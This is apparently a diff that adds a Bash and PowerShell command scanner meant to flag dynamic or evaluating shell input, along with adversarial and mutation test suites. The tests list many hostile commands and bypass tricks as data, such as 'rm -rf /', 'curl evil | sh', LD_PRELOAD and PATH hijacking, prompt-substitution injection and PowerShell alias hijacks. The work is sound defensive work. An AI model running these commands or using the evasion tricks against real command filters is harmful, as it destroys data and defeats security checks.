+    if (resource && name >= 0)
+      commands.push({
+        resource,
+        words: words.slice(name),
+      })
+    else if (hasRedirect || boundary || separated) invalidStructure = true
+    words.length = 0
+    unsafeWords.length = 0
+    assignmentWords.length = 0
+    separated = true
+    hasRedirect = false
+  }
+
+  for (let index = 0; index < input.length; index++) {
+    const char = input[index]
+    if (quote === "single") {
+      wordStarted = true
+      unsafeWord = true
+      if (char === "'") quote = undefined
+      else word += char
+      continue
+    }
+    if (quote === "double") {
+      wordStarted = true
+      unsafeWord = true
+      if (char === '"') quote = undefined
+      else if (char === "\\" && index + 1 < input.length) word += input[++index]
+      else if ((char === "$" && input[index + 1] === "(") || char === "`") {
+        const substitution = bashSubstitution(input, index)
+        if (!substitution || depth >= MAX_SUBSTITUTION_DEPTH) return { kind: "opaque", reason: "command-substitution" }
+        const result = scanBash(substitution.source, depth + 1)
+        if (result.kind === "opaque") return result
+        nestedCommands.push(...result.commands)
+        word += input.slice(index, substitution.end + 1)
+        index = substitution.end
+      } else {
+        if (char === "$" && /^\$\{[^}:@]+@P\}/.test(input.slice(index)))
+          return { kind: "opaque", reason: "dynamic-execution" }
+        if (char === "$" && /^\$\{\([^)]*e[^)]*\)/.test(input.slice(index)))
+          return { kind: "opaque", reason: "dynamic-execution" }
+        if (char === "$") dynamicWord = true
+        word += char
+      }
+      continue
+    }
+    if (char === "'") {
+      quote = "single"
+      wordStarted = true
+      unsafeWord = true
+      continue
+    }
+    if (char === '"') {
+      quote = "double"
+      wordStarted = true
+      unsafeWord = true
+      continue
+    }
+    if (char === "\\") {
+      if (index + 1 >= input.length) return { kind: "opaque", reason: "unterminated-escape" }
+      wordStarted = true
+      unsafeWord = true
+      if (input[index + 1] === "\n") index++
+      else word += input[++index]
+      continue
+    }
+    if ((char === "$" && input[index + 1] === "(") || char === "`") {
+      const substitution = bashSubstitution(input, index)
+      if (!substitution || depth >= MAX_SUBSTITUTION_DEPTH) return { kind: "opaque", reason: "command-substitution" }
+      const result = scanBash(substitution.source, depth + 1)
+      if (result.kind === "opaque") return result
+      nestedCommands.push(...result.commands)
+      wordStarted = true
+      unsafeWord = true
+      word += input.slice(index, substitution.end + 1)
+      index = substitution.end
+      continue
+    }
+    if (char === "$" && input[index + 1] === "{" && /^\$\{[^}:@]+@P\}/.test(input.slice(index)))
+      return { kind: "opaque", reason: "dynamic-execution" }
+    if (char === "$" && /^\$\{\([^)]*e[^)]*\)/.test(input.slice(index)))
+      return { kind: "opaque", reason: "dynamic-execution" }
+    if (char === "$" && input[index + 1] === "[") return { kind: "opaque", reason: "dynamic-execution" }
+    if (char === "<" && input[index + 1] === "<") heredoc = true
+    if (char === "#" && !wordStarted) {
+      finishCommand(index)
+      comment = index
+      const newline = input.indexOf("\n", index)
+      if (newline === -1) break
+      index = newline
+      segment = newline + 1
+      continue
+    }
+    const redirect = /^(?:&>>?|<<<|<<-?|<>|<&|>&|>\||>>|>|<)/.exec(input.slice(index))?.[0]
+    if (redirect) {
+      hasRedirect = true
+      if (redirectTarget) invalidRedirect = true
+      if (wordStarted && /^\d+$/.test(word)) {
+        word = ""
+        wordStarted = false
+      } else finishWord()
+      redirectTarget = true
+      index += redirect.length - 1
+      continue
+    }
+    if (
+      "(){}".includes(char) ||
+      (char === "&" && input[index + 1] !== "&" && input[index - 1] !== "|") ||
+      (char === "!" && !wordStarted)
+    )
+      compound = true
+    if (/\s/.test(char) && char !== "\n") {
+      finishWord()
+      continue
+    }
+    const next = input[index + 1]
+    const separator =
+      (char === "&" && next === "&") || (char === "|" && (next === "|" || next === "&"))
+        ? char + next
+        : char === ";" || char === "|" || char === "\n"
+          ? char
+          : undefined
+    if (separator) {
+      finishCommand(index, true)
+      if (redirectTarget) invalidRedirect = true
+      index += separator.length - 1
+      segment = index + 1
+      continue
+    }
+    wordStarted = true
+    if (char === "$") dynamicWord = true
+    if (char === "=" && !unsafeWord && /^[A-Za-z_][A-Za-z0-9_]*\+?$/.test(word)) assignmentWord = true
+    word += char
+  }
+
+  if (quote) return { kind: "opaque", reason: "unterminated-quote" }
+  if (heredoc) return { kind: "opaque", reason: "heredoc" }
+  if (comment === undefined || input.includes("\n", comment)) finishCommand(input.length)
+  if (redirectTarget) invalidRedirect = true
+  if (separated && comment === undefined && !input.slice(segment).trim()) invalidStructure = true
+  if (invalidStructure) return { kind: "opaque", reason: "invalid-structure" }
+  if (invalidRedirect) return { kind: "opaque", reason: "invalid-redirect" }
+  if (compound || commands.some((command) => BASH_COMPOUND_KEYWORDS.has(command.words[0] ?? "")))
+    return { kind: "opaque", reason: "compound-command" }
+  if (
+    commands.some((command) => command.words[0]?.includes("$")) ||
+    (dynamicWord && commands[0]?.words[0]?.includes("$"))
+  )
+    return { kind: "opaque", reason: "dynamic-command-name" }
+  if (commands.some((command) => command.words[0]?.startsWith("=")))
+    return { kind: "opaque", reason: "dynamic-command-name" }
+  if (dynamicAssignment) return { kind: "opaque", reason: "dynamic-command-name" }
+  if (commands.some((command) => BASH_WRAPPERS.has(shellCommandName(command.words[0]))))
+    return { kind: "opaque", reason: "command-wrapper" }
+  if (
+    commands.some((command) => {
+      const name = shellCommandName(command.words[0])
+      if (name === "eval") return true
+      if (BASH_SHELLS.has(name)) return true
+      if (BASH_DYNAMIC_BUILTINS.has(name)) return true
+      if (["declare", "local", "typeset"].includes(name))
+        return command.words.some(
+          (word, index) => index > 0 && (/^-[^-]*[aAi]/.test(word) || (/\[[^\]]*\$/.test(word) && word.includes("="))),
+        )
+      if (name === "printf") return command.words.some((word, index) => index > 0 && word === "-v")
+      if (name === "test" || name === "[") return command.words.some((word) => word === "-v")
+      if (name === "find")
+        return command.words.some(
+          (word) => word === "-exec" || word === "-execdir" || word === "-ok" || word === "-okdir",
+        )
+      if (name === "awk" || name === "gawk" || name === "mawk" || name === "nawk") return true
+      if (name === "jobs") return command.words.some((word, index) => index > 0 && /^-[^-]*x/.test(word))
+      if (name === "sched" || name === "zpty") return true
+      if (name === "autoload") return true
+      if (name === "export")
+        return command.words.some(
+          (word, index) =>
+            index > 0 &&
+            /^(?:PATH|path|CDPATH|cdpath|FPATH|fpath|ENV|BASH_ENV|SHELLOPTS|PS4|PROMPT4|LD_[A-Z0-9_]+|DYLD_[A-Z0-9_]+|GIT_[A-Z_]*COMMAND)\+?=/.test(
+              word,
+            ),
+        )
+      if (name === "set")
+        return command.words.some((word, index) => {
+          if (index === 0) return false
+          const option = word.toLowerCase().replaceAll("_", "")
+          return /^-[^-]*x/.test(word) || option === "xtrace" || option === "-o=xtrace" || option === "promptsubst"
+        })
+      if (name === "setopt" || name === "unsetopt") return true
+      if (name === "print") return command.words.some((word, index) => index > 0 && /^-[^-]*P/.test(word))
+      if (name === "git") return command.words.some((word, index) => index > 0 && /^alias\.[^=]+=!/.test(word))
+      if (name === "python" || name === "python3")
+        return command.words.some((word, index) => index > 0 && (/^-[A-Za-z]*c/.test(word) || word === "-c"))
+      if (name === "perl" || name === "ruby")
+        return command.words.some((word, index) => index > 0 && (/^-[A-Za-z]*e/.test(word) || word === "-e"))
+      if (name === "node" || name === "bun")
+        return command.words.some(
+          (word, index) =>
+            index > 0 &&
+            (/^-[A-Za-z]*[ep]/.test(word) ||
+              ["-e", "-p", "--eval", "--print"].includes(word) ||
+              /^(?:--eval|--print)=/.test(word)),
+        )
+      return false
+    })
+  )
+    return { kind: "opaque", reason: "shell-evaluation" }
+  return { kind: "scanned", commands: commands.concat(nestedCommands) }
+}
+
+function bashSubstitution(input: string, start: number) {
+  if (input[start] === "`") {
+    for (let index = start + 1; index < input.length; index++) {
+      if (input[index] === "\\") index++
+      else if (input[index] === "`") return { source: input.slice(start + 1, index).replaceAll("\\`", "`"), end: index }
+    }
+    return
+  }
+  if (input.slice(start, start + 3) === "$((") return
+  let quote: "single" | "double" | undefined
+  let level = 1
+  for (let index = start + 2; index < input.length; index++) {
+    const char = input[index]
+    if (quote === "single") {
+      if (char === "'") quote = undefined
+      continue
+    }
+    if (char === "\\") {
+      index++
+      continue
+    }
+    if (char === "'") {
+      quote = "single"
+      continue
+    }
+    if (char === "#" && (index === start + 2 || /[\s;&|()]/.test(input[index - 1] ?? ""))) return
+    if (char === '"') {
+      quote = quote === "double" ? undefined : "double"
+      continue
+    }
+    if (char === "`" && quote !== "double") {
+      const nested = bashSubstitution(input, index)
+      if (!nested) return
+      index = nested.end
+      continue
+    }
+    if (quote === "double") {
+      if (char === "$" && input[index + 1] === "(") {
+        level++
+        index++
+      } else if (char === ")" && level > 1) level--
+      continue
+    }
+    if (char === "(") level++
+    if (char !== ")" || --level) continue
+    return { source: input.slice(start + 2, index), end: index }
+  }
+}
+
+export function scanPowerShell(input: string): Result {
+  const commands: Array<{ resource: string; words: string[] }> = []
+  const words: string[] = []
+  let segment = 0
+  let word = ""
+  let started = false
+  let quote: "single" | "double" | undefined
+  let dynamic = false
+  let invalid = false
+  let redirectTarget = false
+  let comment = false
+  let separated = false
+  let dangling = false
+  let dynamicDirectory = false
+
+  const finishWord = () => {
+    if (!started) return
+    if (!redirectTarget) words.push(word)
+    redirectTarget = false
+    word = ""
+    started = false
+  }
+  const finishCommand = (end: number, boundary = false) => {
+    finishWord()
+    const resource = input.slice(segment, end).trim()
+    if (resource) commands.push({ resource, words: [...words] })
+    else if (boundary && separated) invalid = true
+    words.length = 0
+    separated ||= Boolean(resource)
+  }
+
+  for (let index = 0; index < input.length; index++) {
+    const char = input[index]
+    if (quote) {
+      started = true
+      if (quote === "single" && char === "'" && input[index + 1] === "'") {
+        word += "'"
+        index++
+      } else if ((quote === "single" && char === "'") || (quote === "double" && char === '"')) quote = undefined
+      else if (char === "`" && index + 1 < input.length) word += input[++index]
+      else {
+        if (quote === "double" && char === "$" && input[index + 1] === "(") dynamic = true
+        word += char
+      }
+      continue
+    }
+    if (char === "'" || char === '"') {
+      quote = char === "'" ? "single" : "double"
+      started = true
+      continue
+    }
+    if (char === "`" && index + 1 < input.length) {
+      if (words.length === 0) dynamic = true
+      started = true
+      if (input[index + 1] === "\r" && input[index + 2] === "\n") index += 2
+      else if (input[index + 1] === "\r" || input[index + 1] === "\n") index++
+      else word += input[++index]
+      continue
+    }
+    if (char === "`") return { kind: "opaque", reason: "unterminated-escape" }
+    if (char === "<" && input[index + 1] === "#") return { kind: "opaque", reason: "dynamic-execution" }
+    if (char === "#" && !started) {
+      if (/^#requires\b/i.test(input.slice(index))) return { kind: "opaque", reason: "dynamic-execution" }
+      finishCommand(index)
+      comment = true
+      const endings = [input.indexOf("\n", index), input.indexOf("\r", index)].filter((ending) => ending >= 0)
+      const newline = endings.length > 0 ? Math.min(...endings) : -1
+      if (newline === -1) break
+      comment = false
+      index = input[newline] === "\r" && input[newline + 1] === "\n" ? newline + 1 : newline
+      segment = newline + 1
+      continue
+    }
+    const redirect = powerShellRedirect(input, index)
+    if (redirect) {
+      finishWord()
+      redirectTarget = !redirect.includes("&")
+      index += redirect.length - 1
+      continue
+    }
+    if ("{}@()".includes(char) || char === "&" || (char === "." && !started)) dynamic = true
+    if (/\s/.test(char) && char !== "\n" && char !== "\r") {
+      finishWord()
+      continue
+    }
+    const next = input[index + 1]
+    const separator =
+      char === "\r" && next === "\n"
+        ? char + next
+        : (char === "&" && next === "&") || (char === "|" && next === "|")
+          ? char + next
+          : char === ";" || char === "|" || char === "\n" || char === "\r"
+            ? char
+            : undefined
+    if (separator) {
+      finishCommand(index, true)
+      if (redirectTarget) invalid = true
+      dangling = separator !== ";" && separator !== "\n" && separator !== "\r" && separator !== "\r\n"
+      index += separator.length - 1
+      segment = index + 1
+      continue
+    }
+    started = true
+    dangling = false
+    word += char
+  }
+
+  if (quote) return { kind: "opaque", reason: "unterminated-quote" }
+  if (!comment) finishCommand(input.length)
+  if (redirectTarget || invalid || dangling) return { kind: "opaque", reason: "invalid-structure" }
+  if (
+    dynamic ||
+    commands.some((command) => {
+      const head = command.words[0] ?? ""
+      if (head.includes("\\") && !/^[A-Za-z]:\\/.test(head)) return true
+      const rawName = shellCommandName(head)
+      const name = POWERSHELL_ALIASES[rawName] ?? rawName
+      if (name === "using" && /^(?:module|assembly)$/i.test(command.words[1] ?? "")) return true
+      if (head.includes("$") || head.includes("@")) return true
+      if (["return", "throw", "exit", "break", "continue"].includes(name) && command.words.length > 1) return true
+      if (POWERSHELL_DYNAMIC_COMMANDS.has(name)) return true
+      if (/\.(?:ps1|psm1|cmd|bat|vbs|wsf)$/i.test(name)) return true
+      if (
+        [
+          "set-item",
+          "new-item",
+          "remove-item",
+          "rename-item",
+          "copy-item",
+          "move-item",
+          "clear-item",
+          "set-content",
+          "add-content",
+          "clear-content",
+          "out-file",
+        ].includes(name)
+      )
+        return command.words.some((word) => /^(?:alias|function|env):/i.test(word))
+      if (POWERSHELL_LOCATIONS.has(name ?? ""))
+        return (dynamicDirectory =
+          command.words.some(
+            (word, index) =>
+              index > 0 && (word.includes("(") || (word.includes("$") && !knownPowerShellDirectory(word))),
+          ) ||
+          command.words.some((word, index) => index > 0 && /^[A-Za-z]+:/.test(word) && !/^[A-Za-z]:[\\/]/.test(word)))
+      if (!POWERSHELL_SHELLS.has(name)) return false
+      return command.words.length > 1
+    })
+  )
+    return { kind: "opaque", reason: dynamicDirectory ? "dynamic-directory" : "dynamic-execution" }
+  return { kind: "scanned", commands }
+}
+
+function shellCommandName(word: string | undefined) {
+  const value = (word ?? "").toLowerCase()
+  return value.slice(Math.max(value.lastIndexOf("/"), value.lastIndexOf("\\")) + 1)
+}
+
+function knownPowerShellDirectory(word: string) {
+  const variable = /^(?:\$(?:PWD|HOME|PSHOME)|\$env:[A-Za-z_][A-Za-z0-9_]*|\$\{env:[^}]+\})(?:[\\/]|$)/i.exec(word)
+  return Boolean(variable) && !word.slice(variable?.[0].length).includes("$")
+}
+
+function powerShellRedirect(input: string, index: number) {
+  let cursor = index
+  if (input[cursor] === "*") cursor++
+  else while (/\d/.test(input[cursor] ?? "")) cursor++
+  if (input[cursor] !== ">" && input[cursor] !== "<") return
+  cursor++
+  if (input[cursor] === ">") cursor++
+  if (input[cursor] === "&") {
+    cursor++
+    while (/\d/.test(input[cursor] ?? "")) cursor++
+  }
+  return input.slice(index, cursor)
+}

packages/shell-scan/test/adversarial.test.ts

@@ -0,0 +1,175 @@
+import { describe, expect, test } from "bun:test"
+import { ShellScan } from "../src/index.js"
+
+describe("ShellScan adversarial corpus", () => {
+  const scanned = [
+    ['FOO=bar BAR="x y" git status', ["git"]],
+    [">out FOO=bar printf '%s\\n' ok", ["printf"]],
+    ["printf '%s\\n' 'x; rm -rf /'", ["printf"]],
+    ["printf foo\\;bar", ["printf"]],
+    ["echo \"$HOME\" '${literal}'", ["echo"]],
+    ["git status && npm test || printf failed", ["git", "npm", "printf"]],
+    ["printf a; printf b\nprintf c", ["printf", "printf", "printf"]],
+    ["printf x |& sed 's/x/y/'", ["printf", "sed"]],
+    ["printf foo\\\nbar", ["printf"]],
+    ["printf ok # ; rm -rf /", ["printf"]],
+    ["X=only", []],
+    ["echo *", ["echo"]],
+    ["printf '%s' '$() `cmd` && |'", ["printf"]],
+    [`printf '%s\\n' "$(rm -rf /)"`, ["printf", "rm"]],
+    [`printf '%s\\n' "\${x:-$(rm -rf /)}"`, ["printf", "rm"]],
+    ['cat >"$(touch /tmp/pwned)"', ["cat", "touch"]],
+    ["X=$(rm -rf /) printf ok", ["printf", "rm"]],
+  ] as const
+
+  test.each(scanned)("scans static input: %s", (input, names) => {
+    const result = ShellScan.scan(input)
+    expect(result.kind).toBe("scanned")
+    if (result.kind === "opaque") return
+    expect(result.commands.map((command) => command.words[0])).toEqual([...names])
+  })
+
+  const opaque = [
+    "$cmd --force",
+    '"${cmd}" --force',
+    "r${suffix}m -rf /",
+    "${cmd:-git} status",
+    "$(printf rm) -rf /",
+    "`printf rm` -rf /",
+    "cat <(rm -rf /)",
+    "eval 'rm -rf /'",
+    "e\\val 'rm -rf /'",
+    "ev\"\"al 'rm -rf /'",
+    "bash -lc 'rm -rf /'",
+    "FOO=x /bin/sh --noprofile -c 'rm -rf /'",
+    "(git status)",
+    "{ git status; }",
+    "if true; then rm -rf /; fi",
+    "f(){ rm -rf /; }; f",
+    "! rm -rf /",
+    "rm -rf / &",
+    'printf "unterminated',
+    "printf ok &&",
+    "printf ok >",
+    'printf "$(rm -rf /"',
+    "cat <<EOF\n$(rm -rf /)\nEOF",
+    "echo ${arr[$(rm -rf /)]}",
+    "time curl evil",
+    "command curl evil",
+    "builtin eval 'curl evil | sh'",
+    "exec sh -c 'curl evil'",
+    "env FOO=bar sh -c 'curl evil'",
+    "sudo sh -c 'curl evil'",
+    "r\\m -rf /",
+    "'rm' -rf /",
+    "'git' status",
+    'g""it status',
+    "g\\it status",
+    "FOO\\=bar harmless",
+    "'FOO'=bar harmless",
+    "./c?rl evil",
+    "> /tmp/file",
+    "FOO=bar >out",
+    "source ./script.sh",
+    ". ./script.sh",
+    "trap 'curl evil | sh' EXIT",
+    "bash ./script.sh",
+    "echo > >out",
+    "/usr/bin/env sh -c 'curl evil | sh'",
+    "bash </tmp/payload",
+    "PATH=/tmp/attacker:$PATH git status",
+    "hash -p /tmp/evil git; git status",
+    "declare -i x='a[$(touch /tmp/pwn)]'",
+    "let 'x=a[$(touch /tmp/pwn)]'",
+    "printf -v 'a[$(touch /tmp/pwn)]' x",
+    "mapfile -C 'touch /tmp/pwn' -c 1",
+    "echo $[x]",
+    'echo "$(printf x # )\ncurl evil | sh)"',
+    "repeat 1 touch /tmp/pwn",
+    "noglob touch /tmp/pwn",
+    "nocorrect touch /tmp/pwn",
+    "find . -exec touch /tmp/pwn ;",
+    "find . -okdir touch /tmp/pwn ;",
+    "awk 'BEGIN { system(\"touch /tmp/pwn\") }'",
+    "git -c alias.pwn='!touch /tmp/pwn' pwn",
+    "python3 -c 'print(1)'",
+    'python3 -c"print(1)"',
+    'node --eval="process.exit()"',
+    "=echo hidden",
+    "- /bin/echo hidden",
+    'echo "${X@P}"',
+    'echo "${(e)X}"',
+    'echo "${(Xe)X}"',
+    "declare -a 'x[$(touch /tmp/pwn)]=1'",
+    "emulate zsh -c 'touch /tmp/pwn'",
+    "fc -s -1",
+    "jobs -x rm -rf /",
+    "sched +00:01 rm -rf /",
+    "zpty worker rm -rf /",
+    "CDPATH+=/outside cd target",
+    "PS4='$(evilcmd)' true",
+    "export PS4='$(evilcmd)'; set -x; true",
+    "set -o xtrace; true",
+    "setopt promptsubst; print -P '$(evilcmd)'",
+    "unsetopt promptsubst",
+    "print -P '$(evilcmd)'",
+    "export PROMPT4='$(evilcmd)'; set -o PROMPT_SUBST; set -o XTRACE; true",
+    "path=/attacker/bin harmless",
+    "cdpath=/outside cd target",
+    "LD_PRELOAD=/tmp/pwn.so /tmp/allowed",
+    "DYLD_INSERT_LIBRARIES=/tmp/pwn.dylib /tmp/allowed",
+    "export FPATH=/attacker/functions; autoload evil; evil",
+  ]
+
+  test.each(opaque)("fails closed for dynamic or unsupported input: %s", (input) => {
+    expect(ShellScan.scan(input).kind).toBe("opaque")
+  })
+
+  test.each([
+    'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -Command "Remove-Item victim.txt"',
+    'pwsh --command "Remove-Item victim.txt"',
+    'cmd.exe /c "del victim.txt & whoami"',
+    'Start-Process powershell -ArgumentList "-Command Remove-Item victim.txt"',
+    'Microsoft.PowerShell.Utility\\Invoke-Expression "Remove-Item victim.txt"',
+    "Set-Alias git Remove-Item; git victim.txt",
+    "Set-Item Alias:git Remove-Item; git victim.txt",
+    "Invoke-Command -ScriptBlock $sb",
+    "ForEach-Object -Process $sb",
+    "Invoke-Item C:\\work\\evil.cmd",
+    'saps powershell -ArgumentList "-Command Remove-Item victim.txt"',
+    "ii C:\\work\\evil.cmd",
+    "ipmo C:\\work\\evil.psm1",
+    "sal harmless Remove-Item; harmless victim.txt",
+    "si Alias:harmless Remove-Item; harmless victim.txt",
+    "icm -ScriptBlock $sb",
+    "ihy 1",
+    "r 1",
+    "ipal aliases.csv",
+    "ipsn $session",
+    "nmo -ScriptBlock $sb",
+    "trcm command -Expression $sb -PSHost",
+    "Set-Content Function:harmless Remove-Item; harmless victim.txt",
+    "Clear-Item Alias:git; git status",
+    "Set-Location Alias:; Set-Item harmless Remove-Item",
+    "Evil\\Get-Harmless",
+    "Add-Type -Path evil.dll",
+    "using module Evil",
+    "using assembly evil.dll",
+    "#Requires -Modules Evil\nWrite-Output ok",
+    "return Remove-Item victim",
+    "throw Get-Secret",
+    "[string]$x = Remove-Item victim",
+    "Set-Variable noun Item; Remove-$noun victim",
+    "Add-Content Function:harmless 'Remove-Item victim'; harmless",
+    "ac Function:harmless 'Remove-Item victim'; harmless",
+    "pushd Alias:; si harmless Remove-Item; harmless victim",
+    "Invoke-`\nExpression 'Remove-Item victim'",
+    "<# ignored #> Remove-Item victim",
+    "Set-Location $HOME/$target; Get-ChildItem",
+    "Push-Location $env:TEMP/$target; Get-ChildItem",
+    "Remove-`Item victim",
+    "Remove-Item`\r\n victim",
+  ])("fails closed for secondary PowerShell execution: %s", (input) => {
+    expect(ShellScan.scanPowerShell(input).kind).toBe("opaque")
+  })
+})

packages/shell-scan/test/closure.test.ts

@@ -0,0 +1,37 @@
+import { describe, expect, test } from "bun:test"
+import { ShellScan } from "../src/index.js"
+
+const opaque = [
+  "eval 'printf hidden'",
+  "bash -c 'printf hidden'",
+  "$COMMAND hidden",
+  "find . -exec printf hidden ;",
+] as const
+
+const contexts = [
+  (source: string) => source,
+  (source: string) => `${source}; printf visible`,
+  (source: string) => `printf visible; ${source}`,
+  (source: string) => `${source} && printf visible`,
+  (source: string) => `printf visible || ${source}`,
+  (source: string) => `printf "$(${source})"`,
+  (source: string) => `X=$(${source}) printf visible`,
+  (source: string) => `printf visible >$(${source})`,
+] as const
+
+describe("ShellScan recursive opacity closure", () => {
+  for (const seed of opaque) {
+    for (const outer of contexts) {
+      for (const inner of contexts.slice(0, 5)) {
+        const source = outer(inner(seed))
+        test(source, () => expect(ShellScan.scan(source).kind).toBe("opaque"))
+      }
+    }
+  }
+})
+
+describe("ShellScan quote suppression", () => {
+  test.each([...opaque])("single quotes suppress active syntax: %s", (source) => {
+    expect(ShellScan.scan(`printf '%s' '${source.replaceAll("'", "")}'`).kind).toBe("scanned")
+  })
+})

packages/shell-scan/test/generated.test.ts

@@ -0,0 +1,182 @@
+import { describe, expect, test } from "bun:test"
+import { ShellScan } from "../src/index.js"
+
+const staticCommands = [
+  ["git status", ["git", "status"]],
+  ["printf ok", ["printf", "ok"]],
+  ["curl example.com", ["curl", "example.com"]],
+] as const
+
+describe("ShellScan generated properties", () => {
+  test("decomposes every combination of static commands and separators", () => {
+    const separators = [" ; ", " && ", " || ", " | ", " |& ", "\n"]
+
+    for (const [left, leftWords] of staticCommands) {
+      for (const separator of separators) {
+        for (const [right, rightWords] of staticCommands) {
+          expect(ShellScan.scan(left + separator + right)).toEqual({
+            kind: "scanned",
+            commands: [
+              { resource: left, words: [...leftWords] },
+              { resource: right, words: [...rightWords] },
+            ],
+          })
+        }
+      }
+    }
+  })
+
+  test("keeps quoted and escaped separators in arguments", () => {
+    const literals = [";", "|", "&", "#", "<", ">"]
+    const forms = literals.flatMap((literal) => [
+      { source: `'left${literal}right'`, word: `left${literal}right` },
+      { source: `"left${literal}right"`, word: `left${literal}right` },
+      { source: `left\\${literal}right`, word: `left${literal}right` },
+    ])
+
+    for (const form of forms) {
+      expect(ShellScan.scan(`printf %s ${form.source}`)).toEqual({
+        kind: "scanned",
+        commands: [{ resource: `printf %s ${form.source}`, words: ["printf", "%s", form.word] }],
+      })
+    }
+  })
+
+  test("fails closed when valid commands are mutated with malformed syntax", () => {
+    const mutate = [
+      (command: string) => `${command} "unterminated`,
+      (command: string) => `${command} 'unterminated`,
+      (command: string) => `${command} \\`,
+      (command: string) => `${command} &&`,
+      (command: string) => `| ${command}`,
+      (command: string) => `${command} || || printf reached`,
+      (command: string) => `${command} >`,
+      (command: string) => `${command} > > output`,
+    ]
+
+    for (const [command] of staticCommands) {
+      for (const mutation of mutate) expect(ShellScan.scan(mutation(command)).kind).toBe("opaque")
+    }
+  })
+
+  test("fails closed for generated dynamic command heads", () => {
+    const heads = ["$COMMAND", "${COMMAND}", "pre$COMMAND", '"$COMMAND"', "$(printf git)", "`printf git`"]
+    const tails = ["status", "--version", "-rf /"]
+
+    for (const head of heads) {
+      for (const tail of tails) expect(ShellScan.scan(`${head} ${tail}`).kind).toBe("opaque")
+    }
+  })
+
+  test("fails closed for wrappers and shell evaluators under static prefixes", () => {
+    const prefixes = ["", "FOO=bar ", "FOO=bar BAR=baz "]
+    const wrapped = [
+      "time git status",
+      "command git status",
+      "builtin printf ok",
+      "exec git status",
+      "env FOO=bar git status",
+      "sudo git status",
+      "nice git status",
+      "nohup git status",
+      "xargs rm",
+      "source ./script.sh",
+      ". ./script.sh",
+      "trap 'git status' EXIT",
+      "eval 'git status'",
+      "bash -c 'git status'",
+      "/bin/sh ./script.sh",
+    ]
+
+    for (const prefix of prefixes) {
+      for (const command of wrapped) expect(ShellScan.scan(prefix + command).kind).toBe("opaque")
+    }
+  })
+})
+
+describe("ShellScan generated PowerShell properties", () => {
+  test("decomposes every combination of static commands and separators", () => {
+    const commands = [
+      ["Get-ChildItem", ["Get-ChildItem"]],
+      ["Write-Output ok", ["Write-Output", "ok"]],
+      ["Get-Content input.txt", ["Get-Content", "input.txt"]],
+    ] as const
+    const separators = ["; ", " | ", "\n"]
+
+    for (const [left, leftWords] of commands) {
+      for (const separator of separators) {
+        for (const [right, rightWords] of commands) {
+          expect(ShellScan.scanPowerShell(left + separator + right)).toEqual({
+            kind: "scanned",
+            commands: [
+              { resource: left, words: [...leftWords] },
+              { resource: right, words: [...rightWords] },
+            ],
+          })
+        }
+      }
+    }
+  })
+
+  test("keeps quoted and escaped separators in arguments", () => {
+    const literals = [";", "|", "&", "#", "<", ">"]
+    const forms = literals.flatMap((literal) => [
+      { source: `'left${literal}right'`, word: `left${literal}right` },
+      { source: `"left${literal}right"`, word: `left${literal}right` },
+      { source: `left\`${literal}right`, word: `left${literal}right` },
+    ])
+
+    for (const form of forms) {
+      expect(ShellScan.scanPowerShell(`Write-Output ${form.source}`)).toEqual({
+        kind: "scanned",
+        commands: [{ resource: `Write-Output ${form.source}`, words: ["Write-Output", form.word] }],
+      })
+    }
+  })
+
+  test("fails closed when valid commands are mutated with malformed syntax", () => {
+    const mutations = [
+      'Write-Output ok "unterminated',
+      "Write-Output ok 'unterminated",
+      "Write-Output ok`",
+      "Write-Output ok |",
+      "Write-Output ok || || Write-Output reached",
+      "Write-Output ok >",
+    ]
+
+    for (const command of mutations) expect(ShellScan.scanPowerShell(command).kind).toBe("opaque")
+  })
+
+  test("fails closed for generated dynamic heads, evaluators, and script execution", () => {
+    const commands = [
+      "$Command status",
+      "${Command} status",
+      "& git status",
+      ". ./script.ps1",
+      "Invoke-Expression 'git status'",
+      "iex 'git status'",
+      "Import-Module ./module.psm1",
+      "./script.ps1 -Force",
+    ]
+    const shells = ["powershell", "powershell.exe", "pwsh", "pwsh.exe"]
+    const switches = ["-Command", "-c", "-EncodedCommand", "-e", "-File", "-f"]
+
+    for (const command of commands) expect(ShellScan.scanPowerShell(command).kind).toBe("opaque")
+    for (const shell of shells) {
+      for (const flag of switches) {
+        expect(ShellScan.scanPowerShell(`${shell} ${flag} 'git status'`).kind).toBe("opaque")
+      }
+    }
+  })
+
+  test("fails closed for dynamic location changes but accepts known directory variables", () => {
+    const locations = ["Set-Location", "cd", "chdir", "sl", "Push-Location"]
+    const dynamic = ["$target", "$(Resolve-Path ..)", "(Resolve-Path ..)"]
+    const known = ["$PWD/project", "$HOME/project", "$PSHOME/Modules", "$env:TEMP/project"]
+
+    for (const location of locations) {
+      for (const target of dynamic) expect(ShellScan.scanPowerShell(`${location} ${target}`).kind).toBe("opaque")
+      for (const target of known) expect(ShellScan.scanPowerShell(`${location} ${target}`).kind).toBe("scanned")
+    }
+  })
+})

packages/shell-scan/test/mutation.test.ts

@@ -0,0 +1,120 @@
+import { describe, expect, test } from "bun:test"
+import { ShellScan } from "../src/index.js"
+
+type Mutation = {
+  name: string
+  apply: (source: string) => string
+}
+
+const head = (source: string, mutate: (value: string) => string) =>
+  source.replace(/^\S+/, (value) => mutate(value))
+
+const contexts: Mutation[] = [
+  { name: "leading spaces", apply: (source) => `  ${source}` },
+  { name: "leading tab", apply: (source) => `\t${source}` },
+  { name: "semicolon prefix", apply: (source) => `printf safe; ${source}` },
+  { name: "and prefix", apply: (source) => `printf safe && ${source}` },
+  { name: "or suffix", apply: (source) => `${source} || printf safe` },
+  { name: "newline suffix", apply: (source) => `${source}\nprintf safe` },
+]
+
+const bashSeeds = [
+  ["evaluator", `eval 'printf pwn'`],
+  ["shell", `bash -c 'printf pwn'`],
+  ["wrapper", "env MODE=test printf pwn"],
+  ["dynamic builtin", "alias harmless='printf pwn'"],
+  ["find callback", "find . -exec printf pwn ;"],
+  ["awk source", `awk 'BEGIN { system("printf pwn") }'`],
+  ["git alias", `git -c alias.pwn='!printf pwn' pwn`],
+  ["python source", `python3 -c 'print(1)'`],
+  ["node source", `node --eval='process.exit()'`],
+] as const
+
+describe("ShellScan opaque mutation closure", () => {
+  const headMutations: Mutation[] = [
+    { name: "absolute path", apply: (source) => head(source, (value) => `/usr/bin/${value}`) },
+    { name: "relative path", apply: (source) => head(source, (value) => `./${value}`) },
+    { name: "single-quoted head", apply: (source) => head(source, (value) => `'${value}'`) },
+    { name: "double-quoted head", apply: (source) => head(source, (value) => `"${value}"`) },
+    {
+      name: "escaped head",
+      apply: (source) => head(source, (value) => `${value[0]}\\${value.slice(1)}`),
+    },
+  ]
